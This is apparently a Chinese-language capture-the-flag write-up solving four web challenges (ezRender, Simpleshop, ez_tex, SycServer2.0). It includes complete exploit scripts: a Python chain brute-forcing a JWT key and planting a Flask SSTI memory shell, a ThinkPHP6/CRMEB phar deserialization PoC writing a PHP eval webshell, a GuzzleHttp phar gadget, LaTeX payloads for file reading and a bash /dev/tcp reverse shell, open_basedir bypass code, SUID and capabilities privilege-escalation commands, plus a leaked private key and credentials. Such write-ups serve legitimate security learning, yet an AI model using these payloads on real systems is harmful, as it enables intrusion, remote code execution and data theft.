ezRender Hint:
ulimit -n =2048
cat /etc/timezone : UTC
ulimit 特性 源码 User.py中的写法刚开始给我看一愣,主要是 handler 和 setSecret 这两部分到底是什么意思。handler 打开/dev/random的句柄,setSecret 获取开头的 22 个字节,然后 hex 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  timeclass  User ():    def  __init__ (self,name,password ):         self.name=name         self.pwd = password         self.Registertime=str (time.time())[0 :10 ]         self.handle=None          self.secret=self.setSecret()     def  handler (self ):         self.handle = open ("/dev/random" , "rb" )     def  setSecret (self ):         secret = self.Registertime         try :             if  self.handle == None :                 self.handler()             secret += str (self.handle.read(22 ).hex ())         except  Exception as  e:             print ("this file is not exist or be removed" )         return  secret 
ulimit 是修改启动线程所占用的资源。其中-n指的是同一时间允许最多开启的文件数量。这里的问题是 12 行的代码 open 之后没有 close。ulimit 到达了限制的 2048 就会报错。其中 setSecret 这部分函数会在 POST 给 register 路由时实例化的时候调用。因此我们这里调用超过 2048 次获取到报错信息。
先发 2050 个包占满 fd,再创建新用户,在本地创建的 key 值和远端应该只差一点点,所以可以爆破出他的 key 值。正常来说是直接可以用这个 key 生成的 admin 登录的。
但是由于 ulimit 满了之后__builtins__会报错,需要删除几个用户使得用户数量少于 2048 个。
RCE 的时候不出网,所以需要写入内存马。这里的 poc 是抄的我 B 神的。关注 Boogipop 谢谢喵😸。
1 __import__ ('flask' ).current_app._got_first_request=False ;__import__ ('flask' ).current_app.add_url_rule('/shell' ,'shell' ,lambda :__import__ ('os' ).popen(__import__ ('flask' ).request.args.get('cmd' ,'/readflag' )).read())
1 {{'' .__class__.__bases__.__getitem__(0 ).__subclasses__().__getitem__(80 ).__init__.__globals__.__getitem__("__builtins__" ).__getitem__("ex" +"ec" )("import base64;ex" +"ec(base64.b64decode(b'X19pbXBvcnRfXygnZmxhc2snKS5jdXJyZW50X2FwcC5fZ290X2ZpcnN0X3JlcXVlc3Q9RmFsc2U7X19pbXBvcnRfXygnZmxhc2snKS5jdXJyZW50X2FwcC5hZGRfdXJsX3J1bGUoJy9zaGVsbCcsJ3NoZWxsJyxsYW1iZGE6X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdmbGFzaycpLnJlcXVlc3QuYXJncy5nZXQoJ2NtZCcsJy9yZWFkZmxhZycpKS5yZWFkKCkp').decode())" )}} 
或者这是其他的 poc:
1 "(g.pop.__globals__.__builtins__.__getitem__('e''xec'))(" import base64;ex"+" ec (base64.b64decode ('X19pbXBvcnRfXygnc3lzJykubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLFtdKS5hcHBlbmQobGFtYmRhIDpfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCcvcmVhZGZsYWcnKS5yZWFkKCkp' ));")" 
Mypoc 看了好几份 wp 里面的 poc 都没从头到尾打通,所以照着写了个完整 poc,直接就可以一把嗦,实在没看懂前面的解释看这个应该就能懂了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 """ @Project : _media_file_task_495aa9d7-4d63-4f4d-9b17-7a241a9173d5  @File    : exp_myself @desc    : @Author  : @Natro92 @Date    : 2024/10/2 下午3:58 @Blog    : https://natro92.fun @Contact : natro92@natro92.fun """ import  base64import  jsonimport  timefrom  concurrent.futures import  ThreadPoolExecutorimport  jwtimport  requeststar_url = "1.95.40.5:30501"  tar_reg_url = 'http://'  + tar_url + '/register'  tar_login_url = 'http://'  + tar_url + '/login'  tar_remove_url = 'http://'  + tar_url + '/removeUser'  tar_admin_url = 'http://'  + tar_url + '/admin'  tar_shell_url = 'http://'  + tar_url + '/shell'  def  make_register_request (i ):    res = requests.post(tar_reg_url, json={"username" : "admin"  + str (i), "password" : "123456" })     print (str (i) + " "  + res.text)     assert  "Successfully Removed:"  + "admin"  + str (i) in  res.text, res.text     return  res def  make_remove_request (i ):    res = rs.post(tar_remove_url, data={'username' : "admin"  + str (i)}, cookies={'Token' : token})          return  res with  ThreadPoolExecutor(max_workers=10 ) as  executor:    for  i in  range (2051 ):         executor.submit(make_register_request, i) print ("[*] 超过2048占满fd获取目标jwt" )key = str (time.time())[0 :10 ] res = requests.post(tar_reg_url, json={"username" : "natro92" , "password" : "123456" }) token = \     requests.post(tar_login_url, json={"username" : "natro92" , "password" : "123456" }).headers['Set-Cookie' ].split(         'Token=' )[         1 ] jwtData = (json.loads(base64.b64decode(token))["secret" ]) print (jwtData)for  i in  range (int (key) - 2000 , int (key) + 2000 ):    try :         print (jwt.decode(jwtData, str (i), algorithms='HS256' ))         key = str (i)     except :         pass  print ("[*] 爆破出目标key:"  + key)secret = {'name' : 'natro92' , 'is_admin' : '1' } verify_c = jwt.encode(secret, key, algorithm='HS256' ) infor = {'name' : 'natro92' , 'secret' : verify_c} token = base64.b64encode(json.dumps(infor).encode()).decode() print ("[*] admin用户token:"  + token)rs = requests.Session() res = rs.get(tar_admin_url, cookies={'Token' : token}) if  "Welcome to admin page!! natro92"  in  res.text:    print ("[*] 检测是正常admin用户" ) else :    print ("[*] 检测失败" )     assert  "Wrong user"  with  ThreadPoolExecutor(max_workers=10 ) as  executor:    for  i in  range (900 , 1000 ):         executor.submit(make_remove_request, i) print ("[*] 删除用户使数量少于2048" )shellcode = '''  __import__('flask').current_app._got_first_request=False;__import__('flask').current_app.add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd','/readflag')).read()) ''' .strip()shell_base = base64.b64encode(shellcode.encode()).decode() for  i in  range (80 , 81 ):    code = '''  {{''.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(DATA).__init__.__globals__.__getitem__("__builtins__").__getitem__("ex"+"ec")("import base64;ex"+"ec(base64.b64decode(b'XXX').decode())")}}     ''' .strip()    code = code.replace("DATA" , str (i))     code = code.replace("XXX" , shell_base)     resp = rs.post(tar_admin_url, data={"code" : code}, cookies={'Token' : token})     if  resp.status_code != 500 :         print (i, resp.text)         print ('[!] 噫,道爷我成了' )         resp = rs.get(tar_shell_url, params={'cmd' : '/readflag' }, cookies={'Token' : token})         print (resp.text)         break  
Simpleshop Recently, my e-commerce site has been illegally invaded, hackers through a number of means to achieve the purchase of zero actually free of charge to buy a brand new Apple / Apple iPad, you can help me to find out where the problem is?
http://1.95.73.253 
http://1.95.46.1 
hint1: the ultimate goal is to enable rce to read the contents of the /flag file.
hint2: the foreground user can achieve rce and background has nothing to do, so it is pointless to break the background password.
hint3: source code on github/gitee latest version you can try to audit it
https://gitee.com/ZhongBangKeJi/CRMEB 
https://github.com/crmeb/CRMEB 
根据源码能注意到是基于 thinkphp 开发的。
有文件上传点位于crmeb/app/adminapi/controller/PublicController.php下,以及\app\api\controller\v1\PublicController::get_image_base64下。
传参 image 和 code 两个参数,获取 url 然后检查格式,如果有缓存就使用缓存,否则就从远程下载,再转成 base64。
put_image 保存图片,会检测后缀名,然后又将远程图片下载下来。
然后通过 readfile 函数来解析获取的图片。这里可以触发 phar 的解析。
因此可以通过构造一个图片马,再通过 phar 解析了。
反序列化分析 crmeb 最新版本是基于 thinkphp6 开发的, 这里就通过 tp6 的反序列化链来打。全局搜索入口方法__construct和__destruct方法,这里不懂为什么 phpstorm 会自动将 vendor 下面的内容作为 exclude 文件夹,搜索的时候就不会自动索引,而 vscode 可以正常搜索。
而这种就是被 exclude 了的文件夹。需要取消排除才能正常被搜索。
位于vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Collection/Cells.php的\PhpOffice\PhpSpreadsheet\Collection\Cells::__construct
这个所在的 PhpSpreadsheet 库经常被用来处理 Excel 文件。这里主要用的就是这个 cache 参数。
其中调用的__destruct函数调用 cache 的子方法。
然后就是位于vendor/topthink/framework/src/think/log/Channel.php下的\think\log\Channel::__call方法,到 log 再到 record 方法。
主要就是最后一部分的对 lazy 的判断,这里只需要将 this->lazy 赋值个 false 就能调用到 save 方法。
然后通过后面的后半部分的 logger 的 save 方法
然后调用位于vendor/topthink/framework/src/think/log/driver/Socket.php的\think\log\driver\Socket::save方法。
首先是 check 方法,保证不能退出,继续下去。this->check 返回的是 true。一个是嵌套里面可以得到,另一个是走到 else。
按照要求首先需要 tabid 或者 force_client_id 不为空二者满足其一即可,后者比较容易满足。然后就是判断allowClientIds是否为空,如果为空,就可以走到后半部分得到 true。
然后回到刚才的 save 方法。我们可以通过为子对象的 instance 添加 request 参数使得将 currentUri 赋值 $this->app->request->url(true)。然后再通过判断 config 下的 format_head 的非空进入到 invoke。
从这个 invoke 就可以调用,这个 invoke 在 Container 中有定义\think\Container::invoke,而且这个 Container 被 App 所继承。将传入的对象和方法给 invokeFunction 了。
invokeFunction 的意义就很明确了,执行函数。
正好可以整合掉上面的要求,将 instances 的参数添加一个 request 的键值对。但是目前为止,我们还没有利用点,我们回到刚才的 Request 的位置,发现里面有 url 方法。注意前面给 complete 传值为 true 了。
url 先不着急确定。调用下面的 domain 方法进去看看。
scheme 方法是判断是否是 http 和 host 方法确定 host,这里就不多解释了。
然后返回到刚才的 invoke 的位置,但这现在还是没法执行或者写入,之前我们只看了这个 invoke 方法,但是没有注意这个 display,我们可以在 vendor/topthink/framework/src/think/view/driver/Php.php看到 \think\view\driver\Php::display方法。之前调用的就是这个方法,将 url 作为参数调用。这里看到了命令调用,就是先闭合,然后再执行。
这里面前半部分的闭合不会影响后半部分。
因此我们可以尝试写入个马进去。
文件上传 根据app/route下的路由文件可以知道可以从api/upload/image这个路由上传
对应的:
其中标红的部分会对文件进行检测。
config/upload.php
后面一想,这也不知道对面改成了什么。也没啥用。按照上面的逻辑写下 PoC 先:
PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php namespace  PhpOffice \PhpSpreadsheet \Collection  {    class  Cells  {         private  $cache ;         public  function  __construct ($evil              $this ->cache = $evil ;         }     } } namespace  think \log  {    class  Channel  {         protected  $logger ;         protected  $lazy  = false ;         public  function  __construct ($evil              $this ->logger = $evil ;         }     } } namespace  think \log \driver  {    class  Socket  {         protected  $app ;         protected  $config ;         public  function  __construct (             $this ->config = [                 'debug'  => true ,                 'force_client_ids'     => 'Not Null' ,                 'allow_client_ids'     => [],                 'format_head'          => [new  \think\view\driver\Php (), 'display' ],             ];             $this ->app = new  \think\App ();         }     } } namespace  think  {    class  App  {         protected  $instances  = [];         public  function  __construct (             $this ->instances = [                 'think\Request'  => new  Request (),             ];         }     }     class  Request           protected  $url ;         public  function  __construct (             $this ->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20241003/natro92.php"),\'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>' ;         }     } } namespace  think \view \driver  {    class  Php  {     } } namespace  {    $c  = new  think \log \driver \Socket ();     $b  = new  think\log\Channel ($c );     $a  = new  PhpOffice\PhpSpreadsheet\Collection\Cells ($b );     var_dump ($a );     ini_set ('phar.readonly' , 0 );     $phar  = new  Phar ('poc.phar' );     $phar ->startBuffering ();     $phar ->setStub ("GIF89a<?php __HALT_COMPILER(); ?>" );     $phar ->setMetadata ($a );     $phar ->addFromString ('natro92.jpg' , 'eviltest' );     $phar ->stopBuffering (); } 
运行之后就能得到 poc.phar 但是上传时能发现需要账号,牛魔后面才发现 robots.txt 里面有一个 html 提供了注册页面/A_letter_to_ctfer.html
12345612312:admin123
而且登上之后也不能用 phar 后缀上传先将后缀改成 natro92.jpg,再用 gzip 压一圈即可。
然后再 natro92.jpg.gz 改成 natro92.jpg 上传。
然后触发,触发时注意双写绕过:
蚁剑成功连接,但是遇到 disable_function。
CNext GitHub - ambionics/cnext-exploits: Exploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc’s iconv() 
在test1232.php中写入:
1 2 3 4 <?php   @mkdir ('img' );chdir ('img' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' ); $data  = file_get_contents ($_POST ['file' ]);echo  "File contents: $data " ;
反弹 shell:
1 bash -c "bash -i >& /dev/tcp/xxx/7777 0>&1"  
这个我搁 ps 和 cmd 都没成功,后面用 wsl 成功了。
然后就是 suid 提权,grep 读 flag。
1 find / -perm  -u =s -type  f 2 >/dev/null 
PHP-FPM 提权那里也可以直接用 PHP-FPM 来绕过。
但是这里有一个坑,你必须在根目录的 shell,也就是在 public 的 shell 执行一次这个,否则我这个图里执行的这个.antproxy.php 就回去找 public 目录的 shell。
PS 这个复现之后再打的时候就又打不通了,可能是我这 poc 哪里有问题,实际上我用网上的几个 poc 也没通,不清楚为什么。
除了这个链子,还有一个
1 require  __DIR__  . '/vendor/autoload.php' ;use  GuzzleHttp \Cookie \FileCookieJar ;use  GuzzleHttp \Cookie \SetCookie ;$obj  = new  FileCookieJar ('public/shell.php' );$payload  = '<?php eval(filter_input(INPUT_POST,a)); ?>' ;$obj ->setCookie (new  SetCookie ([    'Name'  => 'foo' ,"Value" =>"1" ,    'Domain'  => $payload ,    "a" => 'bar' ,    'Expires'  => time ()]));$phar  = new  \Phar ("1.phar" );$phar ->startBuffering ();$phar ->setStub ('GIF89a' ."__HALT_COMPILER();" );$phar ->setMetadata ($obj );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?> 
似乎这个 FIleCookieJar 是打 phar 的老客户了。哪天找时间看看捏。
ez_tex PayloadsAllTheThings/LaTeX Injection/README.md at master · swisskyrepo/PayloadsAllTheThings 
读文件 SSTI 这 latex 老在国外的 ctf 里面看见,然而没怎么用过捏。
允许上传 tex,编译,编译的文件名有限制。编译结果只有成功或者失败,没有文件。
提示了 log 页面,访问发现:
将读取的文件写入到这个 app.log 中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \documentclass []{article}\begin {document}\newread \infile \openin \infile =main.py\imm ^^65diate\newwrite \outfile \imm ^^65diate\openout \outfile =a^^70p.log\loop \unless \ifeof \infile   \imm ^^65diate\read \infile  to\line    \imm ^^65diate\write \outfile {\line } \repeat \closeout \outfile \closein \infile \newpage 123 \end {document}
但是不让啊传,所以需要 bypass 下。
将读出结果稍微格式化下
读出 main.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import  osimport  loggingimport  subprocessfrom  flask import  Flask, request, render_template, redirectfrom  werkzeug.utils import  secure_filenameapp = Flask(__name__) if  not  app.debug:    handler = logging.FileHandler('app.log' )     handler.setLevel(logging.INFO)     app.logger.addHandler(handler) UPLOAD_FOLDER = 'uploads'  app.config['UPLOAD_FOLDER' ] = UPLOAD_FOLDER os.makedirs(UPLOAD_FOLDER, exist_ok=True ) ALLOWED_EXTENSIONS = {'txt' , 'png' , 'jpg' , 'gif' , 'log' , 'tex' } def  allowed_file (filename ):    return  '.'  in  filename and  filename.rsplit('.' , 1 )[1 ].lower() in  ALLOWED_EXTENSIONS def  compile_tex (file_path ):    output_filename = file_path.rsplit('.' , 1 )[0 ] + '.pdf'      try :         subprocess.check_call(['pdflatex' , file_path])         return  output_filename     except  subprocess.CalledProcessError as  e:         return  str (e) @app.route('/'  def  index ():    return  render_template('index.html' ) @app.route('/upload' , methods=['POST' ] def  upload_file ():    if  'file'  not  in  request.files:         return  redirect(request.url)     file = request.files['file' ]     if  file.filename == '' :         return  redirect(request.url)     if  file and  allowed_file(file.filename):         content = file.read()         try :             content_str = content.decode('utf-8' )         except  UnicodeDecodeError:             return  'File content is not decodable'          for  bad_char in  ['\\x' , '..' , '*' , '/' , 'input' , 'include' , 'write18' , 'immediate' , 'app' , 'flag' ]:             if  bad_char in  content_str:                 return  'File content is not safe'          file.seek(0 )         filename = secure_filename(file.filename)         file_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename)         file.save(file_path)         return  'File uploaded successfully, And you can compile the tex file'      else :         return  'Invalid file type or name'  @app.route('/compile' , methods=['GET' ] def  compile ():    filename = request.args.get('filename' )     if  not  filename:         return  'No filename provided' , 400      if  len (filename) >= 7 :         return  'Invalid file name length' , 400      if  not  filename.endswith('.tex' ):         return  'Invalid file type' , 400      file_path = os.path.join(app.config['UPLOAD_FOLDER' ], filename)     print (file_path)     if  not  os.path.isfile(file_path):         return  'File not found' , 404      output_pdf = compile_tex(file_path)     if  output_pdf.endswith('.pdf' ):         return  "Compilation succeeded"      else :         return  'Compilation failed' , 500  @app.route('/log'  def  log ():    try :         with  open ('app.log' , 'r' ) as  log_file:             log_contents = log_file.read()         return  render_template('log.html' , log_contents=log_contents)     except  FileNotFoundError:         return  'Log file not found' , 404  if  __name__ == '__main__' :    app.run(host='0.0.0.0' , port=3000 , debug=False ) 
能注意到 log.html 可能有 SSTI。读下看看。
果然有,那么就直接在这个文件里面写入反弹 shell 就行了。
1 2 3 4 5 6 7 8 9 \documentclass []{article}\begin {document}\newwrite \t \openout \t =templates^^2flog.html\write \t {{{lipsum._ _ globals_ _ ['os'].popen('bash -c "^^2fbin^^2fbash -i >&  ^^2fdev^^2ftcp^^2fip^^2f7777 0>& 1"').read()}}}\newpage 123 \end {document}
得在第一次访问 log 前写入。
但是根目录的 flag 输出的是 env
1 HOSTNAME=9711508053a5PYTHON_VERSION=3.7.17PWD=/tmpPYTHON_SETUPTOOLS_VERSION=57.5.0HOME=/rootLANG=C.UTF-8GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DTERM=xtermSHLVL=1PYTHON_PIP_VERSION=23.0.1PYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fePYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/jerrywww:/home/wwwOLDPWD=/app/ez_tex_=/usr/bin/cat 
python 具有 root 的权限。
拿下全交互 shell,其实可以直接 vshell 的。
1 2 3 4 5 6 7 echo $TERM Ctrl+Z stty raw -echo fg reset tmux-256color python -c 'import pty;pty.spawn("/bin/bash")' 
Capabilities 提权 Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com) 
1 python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' 
注意这里面不应该用 python3,因为 python3 不具备这个权限,而 python3.11 可以。
设置当前进程的用户 id。
PS 原来可以通过/flag 得到 jerrywww 的用户名。爆破到 jerrywww 的密码。O.o
jerrywww:P@ssw0rd
SycServer2.0 扫下
得到 api:
1 1.95.87.154:23473/ExP0rtApi?v=static& f=1.jpeg 
需要先拿到 token。JSEncrypt 前端 waf, 在登录的 js 把 waf 去掉然后用万能密码登录。
将 wafsql 改成空。
1 2 3 4 wafsql = function (str ) {   console .log (str);   return  str; } 
然后用万能密码登录下:
admin:1'or'1'='1
再回刚才的 api 利用。读取下 app.js/ExP0rtApi?v=.&f=app.js
cyberchef 解密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 const  express = require ('express' );const  fs = require ('fs' );var  nodeRsa = require ('node-rsa' );const  bodyParser = require ('body-parser' );const  jwt = require ('jsonwebtoken' );const  crypto = require ('crypto' );const  SECRET_KEY  = crypto.randomBytes (16 ).toString ('hex' );const  path = require ('path' );const  zlib = require ('zlib' );const  mysql = require ('mysql' )const  handle = require ('./handle' );const  cp = require ('child_process' );const  cookieParser = require ('cookie-parser' );const  con = mysql.createConnection ({  host : 'localhost' ,   user : 'ctf' ,   password : 'ctf123123' ,   port : '3306' ,   database : 'sctf'  }) con.connect ((err ) =>  {   if  (err) {     console .error ('Error connecting to MySQL:' , err.message );     setTimeout (con.connect (), 2000 );    } else  {     console .log ('Connected to MySQL' );   } }); const  {response} = require ("express" );const  req = require ("express/lib/request" );var  key = new  nodeRsa ({ b : 1024  });key.setOptions ({ encryptionScheme : 'pkcs1'  }); var  publicPem = `-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5nJzSXtjxAB2tuz5WD9B//vLQ\nTfCUTc+AOwpNdBsOyoRcupuBmh8XSVnm5R4EXWS6crL5K3LZe5vO5YvmisqAq2IC\nXmWF4LwUIUfk4/2cQLNl+A0czlskBZvjQczOKXB+yvP4xMDXuc1hIujnqFlwOpGe\nI+Atul1rSE0APhHoPwIDAQAB\n-----END PUBLIC KEY-----` ;var  privatePem = `-----BEGIN PRIVATE KEY----- MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALmcnNJe2PEAHa27 PlYP0H/+8tBN8JRNz4A7Ck10Gw7KhFy6m4GaHxdJWeblHgRdZLpysvkrctl7m87l i+aKyoCrYgJeZYXgvBQhR+Tj/ZxAs2X4DRzOWyQFm+NBzM4pcH7K8/jEwNe5zWEi 6OeoWXA6kZ4j4C26XWtITQA+Eeg/AgMBAAECgYA+eBhLsUJgckKK2y8StgXdXkgI lYK31yxUIwrHoKEOrFg6AVAfIWj/ZF+Ol2Qv4eLp4Xqc4+OmkLSSwK0CLYoTiZFY Jal64w9KFiPUo1S2E9abggQ4omohGDhXzXfY+H8HO4ZRr0TL4GG+Q2SphkNIDk61 khWQdvN1bL13YVOugQJBAP77jr5Y8oUkIsQG+eEPoaykhe0PPO408GFm56sVS8aT 6sk6I63Byk/DOp1MEBFlDGIUWPjbjzwgYouYTbwLwv8CQQC6WjLfpPLBWAZ4nE78 dfoDzqFcmUN8KevjJI9B/rV2I8M/4f/UOD8cPEg8kzur7fHga04YfipaxT3Am1kG mhrBAkEA90J56ZvXkcS48d7R8a122jOwq3FbZKNxdwKTJRRBpw9JXllCv/xsc2ye KmrYKgYTPAj/PlOrUmMVLMlEmFXPgQJBAK4V6yaf6iOSfuEXbHZOJBSAaJ+fkbqh UvqrwaSuNIi72f+IubxgGxzed8EW7gysSWQT+i3JVvna/tg6h40yU0ECQQCe7l8l zIdwm/xUWl1jLyYgogexnj3exMfQISW5442erOtJK8MFuUJNHFMsJWgMKOup+pOg xu/vfQ0A1jHRNC7t -----END PRIVATE KEY-----` ;const  app = express ();app.use (bodyParser.json ()); app.use (express.urlencoded ({ extended : true  })); app.use (express.static (path.join (__dirname, 'static' ))); app.use (cookieParser ()); var  Reportcache  = {}function  verifyAdmin (req, res, next ) {  const  token = req.cookies ['auth_token' ];   if  (!token) {     return  res.status (403 ).json ({ message : 'No token provided'  });   }   jwt.verify (token, SECRET_KEY , (err, decoded ) =>  {     if  (err) {       return  res.status (403 ).json ({ message : 'Failed to authenticate token'  });     }     if  (decoded.role  !== 'admin' ) {       return  res.status (403 ).json ({ message : 'Access denied. Admins only.'  });     }     req.user  = decoded;     next ();   }); } app.get ('/hello' , verifyAdmin ,(req, res )=>  {   res.send ('<h1>Welcome Admin!!!</h1><br><img src="./1.jpeg" />' ); }); app.get ('/config' , (req, res ) =>  {   res.json ({     publicKey : publicPem,   }); }); var  decrypt = function (body ) {  try  {     var  pem = privatePem;     var  key = new  nodeRsa (pem, {       encryptionScheme : 'pkcs1' ,       b : 1024      });     key.setOptions ({ environment : "browser"  });     return  key.decrypt (body, 'utf8' );   } catch  (e) {     console .error ("decrypt error" , e);     return  false ;   } }; app.post ('/login' , (req, res ) =>  {   const  encryptedPassword = req.body .password ;   const  username = req.body .username ;   try  {     passwd = decrypt (encryptedPassword)     if (username === 'admin' ) {       const  sql = `select (select password from user where username = 'admin') = '${passwd} ';`        con.query (sql, (err, rows ) =>  {         if  (err) throw  new  Error (err.message );         if  (rows[0 ][Object .keys (rows[0 ])]) {           const  token = jwt.sign ({username, role : username}, SECRET_KEY , {expiresIn : '1h' });           res.cookie ('auth_token' , token, {secure : false });           res.status (200 ).json ({success : true , message : 'Login Successfully' });         } else  {           res.status (200 ).json ({success : false , message : 'Errow Password!' });         }       });     } else  {       res.status (403 ).json ({success : false , message : 'This Website Only Open for admin' });     }   } catch  (error) {     res.status (500 ).json ({ success : false , message : 'Error decrypting password!'  });   } }); app.get ('/ExP0rtApi' , verifyAdmin, (req, res ) =>  {   var  rootpath = req.query .v ;   var  file = req.query .f ;   file = file.replace (/\.\.\//g , '' );   rootpath = rootpath.replace (/\.\.\//g , '' );   if (rootpath === '' ){     if (file === '' ){       return  res.status (500 ).send ('try to find parameters HaHa' );     } else  {       rootpath = "static"      }   }   const  filePath = path.join (__dirname, rootpath + "/"  + file);   if  (!fs.existsSync (filePath)) {     return  res.status (404 ).send ('File not found' );   }   fs.readFile (filePath, (err, fileData ) =>  {     if  (err) {       console .error ('Error reading file:' , err);       return  res.status (500 ).send ('Error reading file' );     }     zlib.gzip (fileData, (err, compressedData ) =>  {       if  (err) {         console .error ('Error compressing file:' , err);         return  res.status (500 ).send ('Error compressing file' );       }       const  base64Data = compressedData.toString ('base64' );       res.send (base64Data);     });   }); }); app.get ("/report" , verifyAdmin ,(req, res ) =>  {   res.sendFile (__dirname + "/static/report_noway_dirsearch.html" ); }); app.post ("/report" , verifyAdmin ,(req, res ) =>  {   const  {user, date, reportmessage} = req.body ;   if (Reportcache [user] === undefined ) {     Reportcache [user] = {};   }   Reportcache [user][date] = reportmessage   res.status (200 ).send ("<script>alert('Report Success');window.location.href='/report'</script>" ); }); app.get ('/countreport' , (req, res ) =>  {   let  count = 0 ;   for  (const  user in  Reportcache ) {     count += Object .keys (Reportcache [user]).length ;   }   res.json ({ count }); }); app.get ("/VanZY_s_T3st" , (req, res ) =>  {   var  command = 'whoami' ;   const  cmd = cp.spawn (command ,[]);   cmd.stdout .on ('data' , (data ) =>  {     res.status (200 ).end (data.toString ());   }); }) app.listen (3000 , () =>  {   console .log ('Server running on http://localhost:3000' ); }); 
1 2 3 4 5 6 7 8 9 10 11 12 13 {   "dependencies" :  {      "body-parser" :  "^1.20.3" ,      "cookie-parser" :  "^1.4.6" ,      "crypto" :  "^1.0.1" ,      "express" :  "^4.21.0" ,      "jsonwebtoken" :  "^9.0.2" ,      "mysql" :  "^2.18.1" ,      "node-rsa" :  "^1.1.1" ,      "path" :  "^0.12.7" ,      "require-in-the-middle" :  "^7.4.0"    }  } 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 var  ritm = require ('require-in-the-middle' );var  patchChildProcess = require ('./child_process' );new  ritm.Hook (    ['child_process' ],     function  (module , name         switch  (name) {             case  'child_process' : {                 return  patchChildProcess (module );             }         }     } ); 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 function  patchChildProcess (cp ) {    cp.execFile  = new  Proxy (cp.execFile , { apply : patchOptions (true ) });     cp.fork  = new  Proxy (cp.fork , { apply : patchOptions (true ) });     cp.spawn  = new  Proxy (cp.spawn , { apply : patchOptions (true ) });     cp.execFileSync  = new  Proxy (cp.execFileSync , { apply : patchOptions (true ) });     cp.execSync  = new  Proxy (cp.execSync , { apply : patchOptions () });     cp.spawnSync  = new  Proxy (cp.spawnSync , { apply : patchOptions (true ) });     return  cp; } function  patchOptions (hasArgs ) {    return  function  apply (target, thisArg, args ) {         var  pos = 1 ;         if  (pos === args.length ) {             args[pos] = prototypelessSpawnOpts ();         } else  if  (pos < args.length ) {             if  (hasArgs && (Array .isArray (args[pos]) || args[pos] == null )) {                 pos++;             }             if  (typeof  args[pos] === 'object'  && args[pos] !== null ) {                 args[pos] = prototypelessSpawnOpts (args[pos]);             } else  if  (args[pos] == null ) {                 args[pos] = prototypelessSpawnOpts ();             } else  if  (typeof  args[pos] === 'function' ) {                 args.splice (pos, 0 , prototypelessSpawnOpts ());             }         }         return  target.apply (thisArg, args);     }; } function  prototypelessSpawnOpts (obj ) {    var  prototypelessObj = Object .assign (Object .create (null ), obj);     prototypelessObj.env  = Object .assign (Object .create (null ), prototypelessObj.env  || process.env );     return  prototypelessObj; } module .exports  = patchChildProcess;
